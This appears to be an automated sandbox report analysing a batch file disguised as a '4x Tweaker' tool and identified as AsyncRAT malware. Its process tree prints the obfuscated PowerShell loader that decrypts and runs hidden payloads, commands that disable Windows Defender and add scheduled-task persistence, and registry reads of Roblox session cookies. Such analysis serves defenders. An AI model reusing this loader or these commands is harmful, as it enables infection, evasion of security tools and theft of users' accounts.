Analysis
- max time kernel
146s - max time network
137s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
- submitted
29/05/2024, 02:26
General
- Target 4X Tweaker/4x Tweaker.bat
- Size 1.5MB
- Sample240529-cwtxxsff97
- SHA256 52aac553901b56007d9b40870447423fef70802593722eebd3a7326635074aaa
Score
10/10
Malware Config
Extracted
Family
-
asyncrat
Version
-
1.0.7
Botnet
-
Default
C2
-
bit-keeping.gl.at.ply.gg:4444
-
bit-keeping.gl.at.ply.gg:49417
Mutex
-
DcRatMutex_qwqdanchun
Attributes
-
delay
1
-
install
false
-
install_folder
%AppData%
aes.plain
Signatures
- AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
- Blocklisted process makes network request 4 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 7 IoCs
Run Powershell and hide display window.
- Drops file in Drivers directory 1 IoCs
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Drops file in System32 directory 11 IoCs
- Suspicious use of SetThreadContext 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
- Modifies data under HKEY_USERS 2 IoCs
- Modifies registry class 33 IoCs
- Runs net.exe
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: GetForegroundWindowSpam 1 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of UnmapMainImage 1 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
- Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p1⤵
- Modifies registry class
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵
-
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵
-
-
C:\Windows\System32\mousocoreworker.exeC:\Windows\System32\mousocoreworker.exe -Embedding2⤵
-
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵
-
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:ShellFeedsUI.AppXnj65k2d1a1rnztt2t2nng5ctmk3e76pn.mca2⤵
-
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵
-
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵
-
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵
-
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵
-
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵
-
-
C:\Windows\system32\BackgroundTransferHost.exe"BackgroundTransferHost.exe" -ServerName:BackgroundTransferHost.12⤵
-
-
C:\Windows\system32\backgroundTaskHost.exe"C:\Windows\system32\backgroundTaskHost.exe" -ServerName:App.AppXmtcan0h2tfbfy7k9kn8hbxb6dmzz1zh0.mca2⤵
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k RPCSS -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetwork -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule1⤵
- Drops file in System32 directory
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s nsi1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s Themes1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s SENS1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s netprofm1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNoNetworkFirewall -p1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc1⤵
- Drops file in System32 directory
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer1⤵
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of UnmapMainImage
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\4X Tweaker\4x Tweaker.bat"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet file3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file4⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QIZJ/fa36vhtj27ozFjL7g05WCcUpC8LyRKGfAzheCI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZVv8E75OjoswS6cd03dUWw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nLrzP=New-Object System.IO.MemoryStream(,$param_var); $ZuaJS=New-Object System.IO.MemoryStream; $UKkLU=New-Object System.IO.Compression.GZipStream($nLrzP, [IO.Compression.CompressionMode]::Decompress); $UKkLU.CopyTo($ZuaJS); $UKkLU.Dispose(); $nLrzP.Dispose(); $ZuaJS.Dispose(); $ZuaJS.ToArray();}function execute_function($param_var,$param2_var){ $PHFYc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SFSaA=$PHFYc.EntryPoint; $SFSaA.Invoke($null, $param2_var);}$yGKMo = 'C:\Users\Admin\AppData\Local\Temp\4X Tweaker\4x Tweaker.bat';$host.UI.RawUI.WindowTitle = $yGKMo;$smymX=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yGKMo).Split([Environment]::NewLine);foreach ($pgxRZ in $smymX) { if ($pgxRZ.StartsWith('KeyfbtTtfpIEwotnLZXq')) { $naPbf=$pgxRZ.Substring(20); break; }}$payloads_var=[string[]]$naPbf.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden3⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_856_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_856.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_856.vbs"4⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_856.bat" "5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net.exenet file6⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file7⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('QIZJ/fa36vhtj27ozFjL7g05WCcUpC8LyRKGfAzheCI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('ZVv8E75OjoswS6cd03dUWw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $nLrzP=New-Object System.IO.MemoryStream(,$param_var); $ZuaJS=New-Object System.IO.MemoryStream; $UKkLU=New-Object System.IO.Compression.GZipStream($nLrzP, [IO.Compression.CompressionMode]::Decompress); $UKkLU.CopyTo($ZuaJS); $UKkLU.Dispose(); $nLrzP.Dispose(); $ZuaJS.Dispose(); $ZuaJS.ToArray();}function execute_function($param_var,$param2_var){ $PHFYc=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $SFSaA=$PHFYc.EntryPoint; $SFSaA.Invoke($null, $param2_var);}$yGKMo = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_856.bat';$host.UI.RawUI.WindowTitle = $yGKMo;$smymX=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($yGKMo).Split([Environment]::NewLine);foreach ($pgxRZ in $smymX) { if ($pgxRZ.StartsWith('KeyfbtTtfpIEwotnLZXq')) { $naPbf=$pgxRZ.Substring(20); break; }}$payloads_var=[string[]]$naPbf.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "6⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden6⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\4X Tweaker\Command.bat" "7⤵
-
C:\Windows\system32\net.exenet file8⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file9⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FwysrSAaFvkpYGzsT6O/S5eMkWCg1bBowjSAlFJoASA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3sJDCdEktqFLh8xdyxQUKg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GdyUz=New-Object System.IO.MemoryStream(,$param_var); $UiXtU=New-Object System.IO.MemoryStream; $HLEIw=New-Object System.IO.Compression.GZipStream($GdyUz, [IO.Compression.CompressionMode]::Decompress); $HLEIw.CopyTo($UiXtU); $HLEIw.Dispose(); $GdyUz.Dispose(); $UiXtU.Dispose(); $UiXtU.ToArray();}function execute_function($param_var,$param2_var){ $IBIaY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WCAzB=$IBIaY.EntryPoint; $WCAzB.Invoke($null, $param2_var);}$wunSX = 'C:\Users\Admin\AppData\Local\Temp\4X Tweaker\Command.bat';$host.UI.RawUI.WindowTitle = $wunSX;$XCEUs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wunSX).Split([Environment]::NewLine);foreach ($YsGUK in $XCEUs) { if ($YsGUK.StartsWith('XPmoVERZhStvHviujjTr')) { $bvkRK=$YsGUK.Substring(20); break; }}$payloads_var=[string[]]$bvkRK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "8⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden8⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_558_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_558.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force9⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_558.vbs"9⤵
- Checks computer location settings
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_558.bat" "10⤵
-
C:\Windows\system32\net.exenet file11⤵
-
C:\Windows\system32\net1.exeC:\Windows\system32\net1 file12⤵
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('FwysrSAaFvkpYGzsT6O/S5eMkWCg1bBowjSAlFJoASA='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('3sJDCdEktqFLh8xdyxQUKg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $GdyUz=New-Object System.IO.MemoryStream(,$param_var); $UiXtU=New-Object System.IO.MemoryStream; $HLEIw=New-Object System.IO.Compression.GZipStream($GdyUz, [IO.Compression.CompressionMode]::Decompress); $HLEIw.CopyTo($UiXtU); $HLEIw.Dispose(); $GdyUz.Dispose(); $UiXtU.Dispose(); $UiXtU.ToArray();}function execute_function($param_var,$param2_var){ $IBIaY=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $WCAzB=$IBIaY.EntryPoint; $WCAzB.Invoke($null, $param2_var);}$wunSX = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_558.bat';$host.UI.RawUI.WindowTitle = $wunSX;$XCEUs=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($wunSX).Split([Environment]::NewLine);foreach ($YsGUK in $XCEUs) { if ($YsGUK.StartsWith('XPmoVERZhStvHviujjTr')) { $bvkRK=$YsGUK.Substring(20); break; }}$payloads_var=[string[]]$bvkRK.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "11⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden11⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid12⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'12⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 212⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY12⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY12⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption12⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory12⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid12⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER12⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV113⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name12⤵
- Detects videocard installed
-
-
-
-
-
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"7⤵
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5384 -s 12048⤵
- Program crash
-
-
-
-
-
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc1⤵
- Modifies data under HKEY_USERS
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k appmodel -p -s camsvc1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4124,i,5711962389779687290,1245653010537220991,262144 --variations-seed-version --mojo-platform-channel-handle=3836 /prefetch:81⤵
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc1⤵
- Checks processor information in registry
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 5384 -ip 53841⤵
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
ModuleAnalysisCache
StartupProfileData-Interactive
StartupProfileData-Interactive
StartupProfileData-Interactive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
FB0D848F74F70BB2EAA93746D24D9749
Command.bat
__PSScriptPolicyTest_wrbnddna.q2k.ps1
$phantom-startup_str_558.vbs
$phantom-startup_str_856.bat
$phantom-startup_str_856.vbs
Schedule Maintenance Work
Schedule Wake To Work
Schedule Work
hosts
memory/536-377-0x0000016928F30000-0x0000016928F64000-memory.dmp
memory/536-149-0x0000016928920000-0x0000016928974000-memory.dmp
memory/740-109-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/788-103-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/900-108-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/1124-106-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/1136-102-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/1352-110-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/1508-107-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/1600-104-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/1720-105-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/2356-98-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/2520-100-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/3348-99-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/3432-47-0x0000000000B00000-0x0000000000B2A000-memory.dmp
memory/3432-97-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/3572-101-0x00007FFBE4FF0000-0x00007FFBE5000000-memory.dmp
memory/3756-166-0x00000202E00F0000-0x00000202E01B4000-memory.dmp
memory/3756-163-0x00000202C58B0000-0x00000202C58B8000-memory.dmp
memory/4660-15-0x000001C378600000-0x000001C378608000-memory.dmp
memory/4660-12-0x00007FFC06010000-0x00007FFC06AD1000-memory.dmp
memory/4660-46-0x00007FFC06010000-0x00007FFC06AD1000-memory.dmp
memory/4660-1-0x000001C376210000-0x000001C376232000-memory.dmp
memory/4660-0-0x00007FFC06013000-0x00007FFC06015000-memory.dmp
memory/4660-16-0x000001C378920000-0x000001C378A86000-memory.dmp
memory/4660-11-0x00007FFC06010000-0x00007FFC06AD1000-memory.dmp
memory/4660-14-0x000001C3788A0000-0x000001C378916000-memory.dmp
memory/4660-13-0x000001C378630000-0x000001C378674000-memory.dmp
memory/5384-382-0x0000000004DD0000-0x0000000004E36000-memory.dmp
memory/5384-381-0x0000000000400000-0x0000000000432000-memory.dmp
memory/5792-322-0x0000023A80000000-0x0000023A8001E000-memory.dmp
memory/5792-357-0x0000023A80020000-0x0000023A80032000-memory.dmp
memory/5792-356-0x0000023A7FC80000-0x0000023A7FC8A000-memory.dmp
memory/5792-250-0x0000023A18200000-0x0000023A182E2000-memory.dmp
memory/5792-321-0x0000023A800A0000-0x0000023A800F0000-memory.dmp